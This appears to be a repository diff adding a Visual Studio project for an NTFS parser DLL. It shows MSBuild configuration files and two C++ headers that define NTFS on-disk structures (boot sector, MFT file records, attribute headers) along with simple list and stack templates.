<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<PrecompiledHeader>Use</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;NTFSPARSERDLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ClCompile>
|
||||
<PrecompiledHeader>Use</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;NTFSPARSERDLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<PrecompiledHeader>Use</PrecompiledHeader>
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;NTFSPARSERDLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<PrecompiledHeader>Use</PrecompiledHeader>
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;NTFSPARSERDLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<Text Include="ReadMe.txt" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="stdafx.h" />
|
||||
<ClInclude Include="targetver.h" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="dllmain.cpp">
|
||||
<CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">false</CompileAsManaged>
|
||||
<CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">false</CompileAsManaged>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
</PrecompiledHeader>
|
||||
<CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">false</CompileAsManaged>
|
||||
<CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Release|x64'">false</CompileAsManaged>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
</PrecompiledHeader>
|
||||
</ClCompile>
|
||||
<ClCompile Include="NTFSParserDLL.cpp" />
|
||||
<ClCompile Include="stdafx.cpp">
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">Create</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">Create</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Create</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">Create</PrecompiledHeader>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,39 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="Source Files">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Header Files">
|
||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||
<Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Resource Files">
|
||||
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Text Include="ReadMe.txt" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="stdafx.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="targetver.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="stdafx.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="NTFSParserDLL.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="dllmain.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,317 @@
|
||||
/*
|
||||
* NTFS Class common definitions
|
||||
*
|
||||
* Copyright(C) 2010 cyb70289 <cyb70289@gmail.com>
|
||||
*
|
||||
* This program/include file is free software; you can redistribute it and/or
|
||||
* modify it under the terms of the GNU General Public License as published
|
||||
* by the Free Software Foundation; either version 2 of the License, or
|
||||
* (at your option) any later version.
|
||||
*
|
||||
* This program/include file is distributed in the hope that it will be
|
||||
* useful, but WITHOUT ANY WARRANTY; without even the implied warranty
|
||||
* of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU General Public License for more details.
|
||||
*/
|
||||
|
||||
#ifndef __NTFS_COMMON_H_CYB70289
|
||||
#define __NTFS_COMMON_H_CYB70289
|
||||
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
#include <tchar.h>
|
||||
#include <crtdbg.h>
|
||||
|
||||
#include "NTFS_DataType.h"
|
||||
|
||||
#define ATTR_NUMS 16 // Attribute Types count
|
||||
#define ATTR_INDEX(at) (((at)>>4)-1) // Attribute Type to Index, eg. 0x10->0, 0x30->2
|
||||
#define ATTR_MASK(at) (((DWORD)1)<<ATTR_INDEX(at)) // Attribute Bit Mask
|
||||
|
||||
// Bit masks of Attributes
|
||||
#define MASK_STANDARD_INFORMATION ATTR_MASK(ATTR_TYPE_STANDARD_INFORMATION)
|
||||
#define MASK_ATTRIBUTE_LIST ATTR_MASK(ATTR_TYPE_ATTRIBUTE_LIST)
|
||||
#define MASK_FILE_NAME ATTR_MASK(ATTR_TYPE_FILE_NAME)
|
||||
#define MASK_OBJECT_ID ATTR_MASK(ATTR_TYPE_OBJECT_ID)
|
||||
#define MASK_SECURITY_DESCRIPTOR ATTR_MASK(ATTR_TYPE_SECURITY_DESCRIPTOR)
|
||||
#define MASK_VOLUME_NAME ATTR_MASK(ATTR_TYPE_VOLUME_NAME)
|
||||
#define MASK_VOLUME_INFORMATION ATTR_MASK(ATTR_TYPE_VOLUME_INFORMATION)
|
||||
#define MASK_DATA ATTR_MASK(ATTR_TYPE_DATA)
|
||||
#define MASK_INDEX_ROOT ATTR_MASK(ATTR_TYPE_INDEX_ROOT)
|
||||
#define MASK_INDEX_ALLOCATION ATTR_MASK(ATTR_TYPE_INDEX_ALLOCATION)
|
||||
#define MASK_BITMAP ATTR_MASK(ATTR_TYPE_BITMAP)
|
||||
#define MASK_REPARSE_POINT ATTR_MASK(ATTR_TYPE_REPARSE_POINT)
|
||||
#define MASK_EA_INFORMATION ATTR_MASK(ATTR_TYPE_EA_INFORMATION)
|
||||
#define MASK_EA ATTR_MASK(ATTR_TYPE_EA)
|
||||
#define MASK_LOGGED_UTILITY_STREAM ATTR_MASK(ATTR_TYPE_LOGGED_UTILITY_STREAM)
|
||||
|
||||
#define MASK_ALL ((DWORD)-1)
|
||||
|
||||
#define NTFS_TRACE(t1) _RPT0(_CRT_WARN, t1)
|
||||
#define NTFS_TRACE1(t1, t2) _RPT1(_CRT_WARN, t1, t2)
|
||||
#define NTFS_TRACE2(t1, t2, t3) _RPT2(_CRT_WARN, t1, t2, t3)
|
||||
#define NTFS_TRACE3(t1, t2, t3, t4) _RPT3(_CRT_WARN, t1, t2, t3, t4)
|
||||
#define NTFS_TRACE4(t1, t2, t3, t4, t5) _RPT4(_CRT_WARN, t1, t2, t3, t4, t5)
|
||||
|
||||
// User defined Callback routines to process raw attribute data
|
||||
// Set bDiscard to TRUE if this Attribute is to be discarded
|
||||
// Set bDiscard to FALSE to let CFileRecord process it
|
||||
typedef void (*ATTR_RAW_CALLBACK)(const ATTR_HEADER_COMMON *attrHead, BOOL *bDiscard);
|
||||
|
||||
// User defined Callback routine to handle CFileRecord parsed attributes
|
||||
// Will be called by CFileRecord::TraverseAttrs() for each attribute
|
||||
// attrClass is the according attribute's wrapping class, CAttr_xxx
|
||||
// Set bStop to TRUE if don't want to continue
|
||||
// Set bStop to FALSE to continue processing
|
||||
class CAttrBase;
|
||||
typedef void (*ATTRS_CALLBACK)(const CAttrBase *attr, void *context, BOOL *bStop);
|
||||
|
||||
// User defined Callback routine to handle Directory traversing
|
||||
// Will be called by CFileRecord::TraverseSubEntries for each sub entry
|
||||
class CIndexEntry;
|
||||
typedef void (*SUBENTRY_CALLBACK)(const CIndexEntry *ie);
|
||||
|
||||
|
||||
// List Entry
|
||||
template <class ENTRY_TYPE>
|
||||
struct NTSLIST_ENTRY
|
||||
{
|
||||
NTSLIST_ENTRY *Next;
|
||||
ENTRY_TYPE *Entry;
|
||||
};
|
||||
|
||||
// List Entry Smart Pointer
|
||||
template <class ENTRY_TYPE>
|
||||
class CEntrySmartPtr
|
||||
{
|
||||
public:
|
||||
CEntrySmartPtr(ENTRY_TYPE *ptr = NULL)
|
||||
{
|
||||
EntryPtr = ptr;
|
||||
}
|
||||
|
||||
virtual ~CEntrySmartPtr()
|
||||
{
|
||||
if (EntryPtr)
|
||||
delete EntryPtr;
|
||||
}
|
||||
|
||||
private:
|
||||
const ENTRY_TYPE *EntryPtr;
|
||||
|
||||
public:
|
||||
__inline CEntrySmartPtr<ENTRY_TYPE> operator = (const ENTRY_TYPE* ptr)
|
||||
{
|
||||
// Delete previous pointer if allocated
|
||||
if (EntryPtr)
|
||||
delete EntryPtr;
|
||||
|
||||
EntryPtr = ptr;
|
||||
|
||||
return *this;
|
||||
}
|
||||
|
||||
__inline const ENTRY_TYPE* operator->() const
|
||||
{
|
||||
_ASSERT(EntryPtr);
|
||||
return EntryPtr;
|
||||
}
|
||||
|
||||
__inline BOOL IsValid() const
|
||||
{
|
||||
return EntryPtr != NULL;
|
||||
}
|
||||
};
|
||||
|
||||
//////////////////////////////////////
|
||||
// Single list implementation
|
||||
//////////////////////////////////////
|
||||
template <class ENTRY_TYPE>
|
||||
class CSList
|
||||
{
|
||||
public:
|
||||
CSList()
|
||||
{
|
||||
ListHead = ListTail = NULL;
|
||||
ListCurrent = NULL;
|
||||
EntryCount = 0;
|
||||
}
|
||||
|
||||
virtual ~CSList()
|
||||
{
|
||||
RemoveAll();
|
||||
}
|
||||
|
||||
private:
|
||||
int EntryCount;
|
||||
NTSLIST_ENTRY<ENTRY_TYPE> *ListHead;
|
||||
NTSLIST_ENTRY<ENTRY_TYPE> *ListTail;
|
||||
NTSLIST_ENTRY<ENTRY_TYPE> *ListCurrent;
|
||||
|
||||
public:
|
||||
// Get entry count
|
||||
__inline int GetCount() const
|
||||
{
|
||||
return EntryCount;
|
||||
}
|
||||
|
||||
// Insert to tail
|
||||
BOOL InsertEntry(ENTRY_TYPE *entry)
|
||||
{
|
||||
NTSLIST_ENTRY<ENTRY_TYPE> *le = new NTSLIST_ENTRY<ENTRY_TYPE>;
|
||||
if (!le)
|
||||
return FALSE;
|
||||
|
||||
le->Entry = entry;
|
||||
le->Next = NULL;
|
||||
|
||||
if (ListTail == NULL)
|
||||
ListHead = le; // Empty list
|
||||
else
|
||||
ListTail->Next = le;
|
||||
|
||||
ListTail = le;
|
||||
|
||||
EntryCount++;
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
// Remove all entries
|
||||
void RemoveAll()
|
||||
{
|
||||
while (ListHead)
|
||||
{
|
||||
ListCurrent = ListHead->Next;
|
||||
delete ListHead->Entry;
|
||||
delete ListHead;
|
||||
|
||||
ListHead = ListCurrent;
|
||||
}
|
||||
|
||||
ListHead = ListTail = NULL;
|
||||
ListCurrent = NULL;
|
||||
EntryCount = 0;
|
||||
}
|
||||
|
||||
// Find first entry
|
||||
__inline ENTRY_TYPE *FindFirstEntry() const
|
||||
{
|
||||
((CSList<ENTRY_TYPE>*)this)->ListCurrent = ListHead;
|
||||
|
||||
if (ListCurrent)
|
||||
return ListCurrent->Entry;
|
||||
else
|
||||
return NULL;
|
||||
}
|
||||
|
||||
// Find next entry
|
||||
__inline ENTRY_TYPE *FindNextEntry() const
|
||||
{
|
||||
if (ListCurrent)
|
||||
((CSList<ENTRY_TYPE>*)this)->ListCurrent = ListCurrent->Next;
|
||||
|
||||
if (ListCurrent)
|
||||
return ListCurrent->Entry;
|
||||
else
|
||||
return NULL;
|
||||
}
|
||||
|
||||
// Throw all entries
|
||||
// Caution! All entries are just thrown without free
|
||||
__inline void ThrowAll()
|
||||
{
|
||||
ListHead = ListTail = NULL;
|
||||
ListCurrent = NULL;
|
||||
EntryCount = 0;
|
||||
}
|
||||
}; //CSList
|
||||
|
||||
|
||||
//////////////////////////////////////
|
||||
// Stack implementation
|
||||
//////////////////////////////////////
|
||||
template <class ENTRY_TYPE>
|
||||
class CStack
|
||||
{
|
||||
public:
|
||||
CStack()
|
||||
{
|
||||
ListHead = ListTail = NULL;
|
||||
EntryCount = 0;
|
||||
}
|
||||
|
||||
virtual ~CStack()
|
||||
{
|
||||
RemoveAll();
|
||||
}
|
||||
|
||||
private:
|
||||
int EntryCount;
|
||||
NTSLIST_ENTRY<ENTRY_TYPE> *ListHead;
|
||||
NTSLIST_ENTRY<ENTRY_TYPE> *ListTail;
|
||||
|
||||
public:
|
||||
// Get entry count
|
||||
__inline int GetCount() const
|
||||
{
|
||||
return EntryCount;
|
||||
}
|
||||
|
||||
// Insert to head
|
||||
BOOL Push(ENTRY_TYPE *entry)
|
||||
{
|
||||
NTSLIST_ENTRY<ENTRY_TYPE> *le = new NTSLIST_ENTRY<ENTRY_TYPE>;
|
||||
if (!le)
|
||||
return FALSE;
|
||||
|
||||
le->Entry = entry;
|
||||
le->Next = ListHead;
|
||||
|
||||
ListHead = le;
|
||||
|
||||
if (ListTail == NULL)
|
||||
ListTail = le; // Empty list
|
||||
|
||||
EntryCount ++;
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
// Remove from head
|
||||
ENTRY_TYPE* Pop()
|
||||
{
|
||||
if (ListHead == NULL)
|
||||
return NULL;
|
||||
|
||||
NTSLIST_ENTRY<ENTRY_TYPE> *le = ListHead;
|
||||
ENTRY_TYPE *e = le->Entry;
|
||||
|
||||
if (ListTail == ListHead)
|
||||
ListTail = ListHead->Next;
|
||||
ListHead = ListHead->Next;
|
||||
|
||||
delete le;
|
||||
EntryCount --;
|
||||
|
||||
return e;
|
||||
}
|
||||
|
||||
// Remove all entries
|
||||
void RemoveAll()
|
||||
{
|
||||
NTSLIST_ENTRY<ENTRY_TYPE> *le;
|
||||
|
||||
while (ListHead)
|
||||
{
|
||||
le = ListHead->Next;
|
||||
delete ListHead->Entry;
|
||||
delete ListHead;
|
||||
|
||||
ListHead = le;
|
||||
}
|
||||
|
||||
ListHead = ListTail = NULL;
|
||||
EntryCount = 0;
|
||||
}
|
||||
}; //CStack
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,380 @@
|
||||
/*
|
||||
* NTFS data structures and definitions
|
||||
*
|
||||
* Copyright(C) 2010 cyb70289 <cyb70289@gmail.com>
|
||||
*
|
||||
* This program/include file is free software; you can redistribute it and/or
|
||||
* modify it under the terms of the GNU General Public License as published
|
||||
* by the Free Software Foundation; either version 2 of the License, or
|
||||
* (at your option) any later version.
|
||||
*
|
||||
* This program/include file is distributed in the hope that it will be
|
||||
* useful, but WITHOUT ANY WARRANTY; without even the implied warranty
|
||||
* of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU General Public License for more details.
|
||||
*/
|
||||
|
||||
#ifndef __NTFS_DATATYPE_H_CYB70289
|
||||
#define __NTFS_DATATYPE_H_CYB70289
|
||||
|
||||
// NTFS Boot Sector BPB
|
||||
|
||||
#define NTFS_SIGNATURE "NTFS "
|
||||
|
||||
#pragma pack(1)
|
||||
typedef struct tagNTFS_BPB
|
||||
{
|
||||
// jump instruction
|
||||
BYTE Jmp[3];
|
||||
|
||||
// signature
|
||||
BYTE Signature[8];
|
||||
|
||||
// BPB and extended BPB
|
||||
WORD BytesPerSector;
|
||||
BYTE SectorsPerCluster;
|
||||
WORD ReservedSectors;
|
||||
BYTE Zeros1[3];
|
||||
WORD NotUsed1;
|
||||
BYTE MediaDescriptor;
|
||||
WORD Zeros2;
|
||||
WORD SectorsPerTrack;
|
||||
WORD NumberOfHeads;
|
||||
DWORD HiddenSectors;
|
||||
DWORD NotUsed2;
|
||||
DWORD NotUsed3;
|
||||
ULONGLONG TotalSectors;
|
||||
ULONGLONG LCN_MFT;
|
||||
ULONGLONG LCN_MFTMirr;
|
||||
DWORD ClustersPerFileRecord;
|
||||
DWORD ClustersPerIndexBlock;
|
||||
BYTE VolumeSN[8];
|
||||
|
||||
// boot code
|
||||
BYTE Code[430];
|
||||
|
||||
//0xAA55
|
||||
BYTE _AA;
|
||||
BYTE _55;
|
||||
} NTFS_BPB;
|
||||
#pragma pack()
|
||||
|
||||
|
||||
// MFT Indexes
|
||||
#define MFT_IDX_MFT 0
|
||||
#define MFT_IDX_MFT_MIRR 1
|
||||
#define MFT_IDX_LOG_FILE 2
|
||||
#define MFT_IDX_VOLUME 3
|
||||
#define MFT_IDX_ATTR_DEF 4
|
||||
#define MFT_IDX_ROOT 5
|
||||
#define MFT_IDX_BITMAP 6
|
||||
#define MFT_IDX_BOOT 7
|
||||
#define MFT_IDX_BAD_CLUSTER 8
|
||||
#define MFT_IDX_SECURE 9
|
||||
#define MFT_IDX_UPCASE 10
|
||||
#define MFT_IDX_EXTEND 11
|
||||
#define MFT_IDX_RESERVED12 12
|
||||
#define MFT_IDX_RESERVED13 13
|
||||
#define MFT_IDX_RESERVED14 14
|
||||
#define MFT_IDX_RESERVED15 15
|
||||
#define MFT_IDX_USER 16
|
||||
|
||||
|
||||
/******************************
|
||||
File Record
|
||||
---------------------
|
||||
| File Record Header|
|
||||
---------------------
|
||||
| Attribute 1 |
|
||||
---------------------
|
||||
| Attribute 2 |
|
||||
---------------------
|
||||
| ...... |
|
||||
---------------------
|
||||
| 0xFFFFFFFF |
|
||||
---------------------
|
||||
*******************************/
|
||||
|
||||
// File Record Header
|
||||
|
||||
#define FILE_RECORD_MAGIC 'ELIF'
|
||||
#define FILE_RECORD_FLAG_INUSE 0x01 // File record is in use
|
||||
#define FILE_RECORD_FLAG_DIR 0x02 // File record is a directory
|
||||
|
||||
typedef struct tagFILE_RECORD_HEADER
|
||||
{
|
||||
DWORD Magic; // "FILE"
|
||||
WORD OffsetOfUS; // Offset of Update Sequence
|
||||
WORD SizeOfUS; // Size in words of Update Sequence Number & Array
|
||||
ULONGLONG LSN; // $LogFile Sequence Number
|
||||
WORD SeqNo; // Sequence number
|
||||
WORD Hardlinks; // Hard link count
|
||||
WORD OffsetOfAttr; // Offset of the first Attribute
|
||||
WORD Flags; // Flags
|
||||
DWORD RealSize; // Real size of the FILE record
|
||||
DWORD AllocSize; // Allocated size of the FILE record
|
||||
ULONGLONG RefToBase; // File reference to the base FILE record
|
||||
WORD NextAttrId; // Next Attribute Id
|
||||
WORD Align; // Align to 4 byte boundary
|
||||
DWORD RecordNo; // Number of this MFT Record
|
||||
} FILE_RECORD_HEADER;
|
||||
|
||||
|
||||
/******************************
|
||||
Attribute
|
||||
--------------------
|
||||
| Attribute Header |
|
||||
--------------------
|
||||
| Attribute Data |
|
||||
--------------------
|
||||
*******************************/
|
||||
|
||||
// Attribute Header
|
||||
|
||||
#define ATTR_TYPE_STANDARD_INFORMATION 0x10
|
||||
#define ATTR_TYPE_ATTRIBUTE_LIST 0x20
|
||||
#define ATTR_TYPE_FILE_NAME 0x30
|
||||
#define ATTR_TYPE_OBJECT_ID 0x40
|
||||
#define ATTR_TYPE_SECURITY_DESCRIPTOR 0x50
|
||||
#define ATTR_TYPE_VOLUME_NAME 0x60
|
||||
#define ATTR_TYPE_VOLUME_INFORMATION 0x70
|
||||
#define ATTR_TYPE_DATA 0x80
|
||||
#define ATTR_TYPE_INDEX_ROOT 0x90
|
||||
#define ATTR_TYPE_INDEX_ALLOCATION 0xA0
|
||||
#define ATTR_TYPE_BITMAP 0xB0
|
||||
#define ATTR_TYPE_REPARSE_POINT 0xC0
|
||||
#define ATTR_TYPE_EA_INFORMATION 0xD0
|
||||
#define ATTR_TYPE_EA 0xE0
|
||||
#define ATTR_TYPE_LOGGED_UTILITY_STREAM 0x100
|
||||
|
||||
#define ATTR_FLAG_COMPRESSED 0x0001
|
||||
#define ATTR_FLAG_ENCRYPTED 0x4000
|
||||
#define ATTR_FLAG_SPARSE 0x8000
|
||||
|
||||
typedef struct tagATTR_HEADER_COMMON
|
||||
{
|
||||
DWORD Type; // Attribute Type
|
||||
DWORD TotalSize; // Length (including this header)
|
||||
BYTE NonResident; // 0 - resident, 1 - non resident
|
||||
BYTE NameLength; // name length in words
|
||||
WORD NameOffset; // offset to the name
|
||||
WORD Flags; // Flags
|
||||
WORD Id; // Attribute Id
|
||||
} ATTR_HEADER_COMMON;
|
||||
|
||||
typedef struct tagATTR_HEADER_RESIDENT
|
||||
{
|
||||
ATTR_HEADER_COMMON Header; // Common data structure
|
||||
DWORD AttrSize; // Length of the attribute body
|
||||
WORD AttrOffset; // Offset to the Attribute
|
||||
BYTE IndexedFlag; // Indexed flag
|
||||
BYTE Padding; // Padding
|
||||
} ATTR_HEADER_RESIDENT;
|
||||
|
||||
typedef struct tagATTR_HEADER_NON_RESIDENT
|
||||
{
|
||||
ATTR_HEADER_COMMON Header; // Common data structure
|
||||
ULONGLONG StartVCN; // Starting VCN
|
||||
ULONGLONG LastVCN; // Last VCN
|
||||
WORD DataRunOffset; // Offset to the Data Runs
|
||||
WORD CompUnitSize; // Compression unit size
|
||||
DWORD Padding; // Padding
|
||||
ULONGLONG AllocSize; // Allocated size of the attribute
|
||||
ULONGLONG RealSize; // Real size of the attribute
|
||||
ULONGLONG IniSize; // Initialized data size of the stream
|
||||
} ATTR_HEADER_NON_RESIDENT;
|
||||
|
||||
|
||||
// Attribute: STANDARD_INFORMATION
|
||||
|
||||
#define ATTR_STDINFO_PERMISSION_READONLY 0x00000001
|
||||
#define ATTR_STDINFO_PERMISSION_HIDDEN 0x00000002
|
||||
#define ATTR_STDINFO_PERMISSION_SYSTEM 0x00000004
|
||||
#define ATTR_STDINFO_PERMISSION_ARCHIVE 0x00000020
|
||||
#define ATTR_STDINFO_PERMISSION_DEVICE 0x00000040
|
||||
#define ATTR_STDINFO_PERMISSION_NORMAL 0x00000080
|
||||
#define ATTR_STDINFO_PERMISSION_TEMP 0x00000100
|
||||
#define ATTR_STDINFO_PERMISSION_SPARSE 0x00000200
|
||||
#define ATTR_STDINFO_PERMISSION_REPARSE 0x00000400
|
||||
#define ATTR_STDINFO_PERMISSION_COMPRESSED 0x00000800
|
||||
#define ATTR_STDINFO_PERMISSION_OFFLINE 0x00001000
|
||||
#define ATTR_STDINFO_PERMISSION_NCI 0x00002000
|
||||
#define ATTR_STDINFO_PERMISSION_ENCRYPTED 0x00004000
|
||||
|
||||
typedef struct tagATTR_STANDARD_INFORMATION
|
||||
{
|
||||
ULONGLONG CreateTime; // File creation time
|
||||
ULONGLONG AlterTime; // File altered time
|
||||
ULONGLONG MFTTime; // MFT changed time
|
||||
ULONGLONG ReadTime; // File read time
|
||||
DWORD Permission; // Dos file permission
|
||||
DWORD MaxVersionNo; // Maxim number of file versions
|
||||
DWORD VersionNo; // File version number
|
||||
DWORD ClassId; // Class Id
|
||||
DWORD OwnerId; // Owner Id
|
||||
DWORD SecurityId; // Security Id
|
||||
ULONGLONG QuotaCharged; // Quota charged
|
||||
ULONGLONG USN; // USN Journel
|
||||
} ATTR_STANDARD_INFORMATION;
|
||||
|
||||
|
||||
// Attribute: ATTRIBUTE_LIST
|
||||
|
||||
typedef struct tagATTR_ATTRIBUTE_LIST
|
||||
{
|
||||
DWORD AttrType; // Attribute type
|
||||
WORD RecordSize; // Record length
|
||||
BYTE NameLength; // Name length in characters
|
||||
BYTE NameOffset; // Name offset
|
||||
ULONGLONG StartVCN; // Start VCN
|
||||
ULONGLONG BaseRef; // Base file reference to the attribute
|
||||
WORD AttrId; // Attribute Id
|
||||
} ATTR_ATTRIBUTE_LIST;
|
||||
|
||||
// Attribute: FILE_NAME
|
||||
|
||||
#define ATTR_FILENAME_FLAG_READONLY 0x00000001
|
||||
#define ATTR_FILENAME_FLAG_HIDDEN 0x00000002
|
||||
#define ATTR_FILENAME_FLAG_SYSTEM 0x00000004
|
||||
#define ATTR_FILENAME_FLAG_ARCHIVE 0x00000020
|
||||
#define ATTR_FILENAME_FLAG_DEVICE 0x00000040
|
||||
#define ATTR_FILENAME_FLAG_NORMAL 0x00000080
|
||||
#define ATTR_FILENAME_FLAG_TEMP 0x00000100
|
||||
#define ATTR_FILENAME_FLAG_SPARSE 0x00000200
|
||||
#define ATTR_FILENAME_FLAG_REPARSE 0x00000400
|
||||
#define ATTR_FILENAME_FLAG_COMPRESSED 0x00000800
|
||||
#define ATTR_FILENAME_FLAG_OFFLINE 0x00001000
|
||||
